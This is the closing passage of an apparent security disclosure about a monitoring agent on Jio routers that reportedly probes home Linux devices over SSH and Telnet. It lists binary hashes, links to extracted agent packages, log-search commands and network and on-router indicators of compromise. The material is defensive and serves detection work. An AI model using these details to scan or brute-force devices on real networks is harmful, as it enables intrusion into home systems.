This disclosure serves to document these findings and raise awareness. For users with the technical capability, the information provided here - including indicators of compromise and detection methods - can help you assess whether your own network has been affected and make informed decisions about network security precautions. While Jio may be unable or unwilling to address this issue after responsible disclosure, transparency about security products deployed at scale on critical infrastructure remains essential.

Resources

Extracted Binaries and Firmware

If you want to validate these findings yourself or investigate further:

• CyberIoT Agent Package: 40.5.21.71902.tar.zst - Contains all agent binaries
• nget2 Downloader: nget2.zst - Package downloader with mTLS support

Binary hashes (version 40.5.21.71902):

- cyberiotUserAgent
  - MD5: 58109a66dded8502b15b06ca8285411b
  - SHA256: 1df6547ae2043afae45665b98651750d82f8ec4380efee9de55d469aa9857d43
- cyberiotKernelAgent
  - MD5: f809c3c27846e90368f2e1d2efa280c0
  - SHA256: 6fb2ca885cc8638d564350335a1895be8c745755dc1cb1dc49d51b9116a9d809
- cyberiotSystemExec
  - MD5: 8e6bb4fdbd16a4c25e29fa3f3b0d42c1
  - SHA256: e459027388d9706591e40b472ce64d91eb680aeb699c346971732712e2e575e5
- cyberiotWD
  - MD5: 9e609bd9813c071a19c4293f799f05e3
  - SHA256: 04b59a4fbf0022e4579762e4e67554a64531fe0a761674052140ae6ec0dcafab
- nget2
  - MD5: 0e8d67ade289665f09817c2edcfc02a1
  - SHA256: a2f870275dddcee043a1725d5a0951b3d99b0ea0d5868f7feb71009c56a08895

How to Check if You’re Affected

If you have a Jio router and Linux devices on your network, check your SSH logs for unusual patterns. Important notes:

• Check logs from June 2025 onwards - attacks may have already stopped if HomeSecure was remotely disabled on your router
• If your devices use key-based authentication only, you may see connection negotiation failures instead of failed login attempts
• Devices without SSH or Telnet enabled may not show evidence in logs, even if they were scanned

Network indicators:

• Repeated failed SSH login attempts from your router’s IP (typically 192.168.29.1)
• SSH client identifying as SSH-2.0-libssh2_1.10.1_DEV
• Connection negotiation failures mentioning weak MAC algorithms: hmac-md5, hmac-md5-96, hmac-sha1-96
• Telnet connection attempts from your router to internal devices

For example, check your journalctl or syslog for patterns like:

journalctl -u ssh | grep "192.168.29.1"
grep "Failed password" /var/log/auth.log | grep "192.168.29.1"
grep "Unable to negotiate" /var/log/auth.log | grep "192.168.29.1"

On-router indicators (requires root access):

If you have root access to your Jio router, look for:

• Presence of /tmp/AllotEnable file
• Processes: cyberiotUserAgent, cyberiotKernelAgent, cyberiotSystemExec, cyberiotWD
• Directory: /var/cyberiot/ containing binaries
• Network connections to frontend.ja.jiohs.net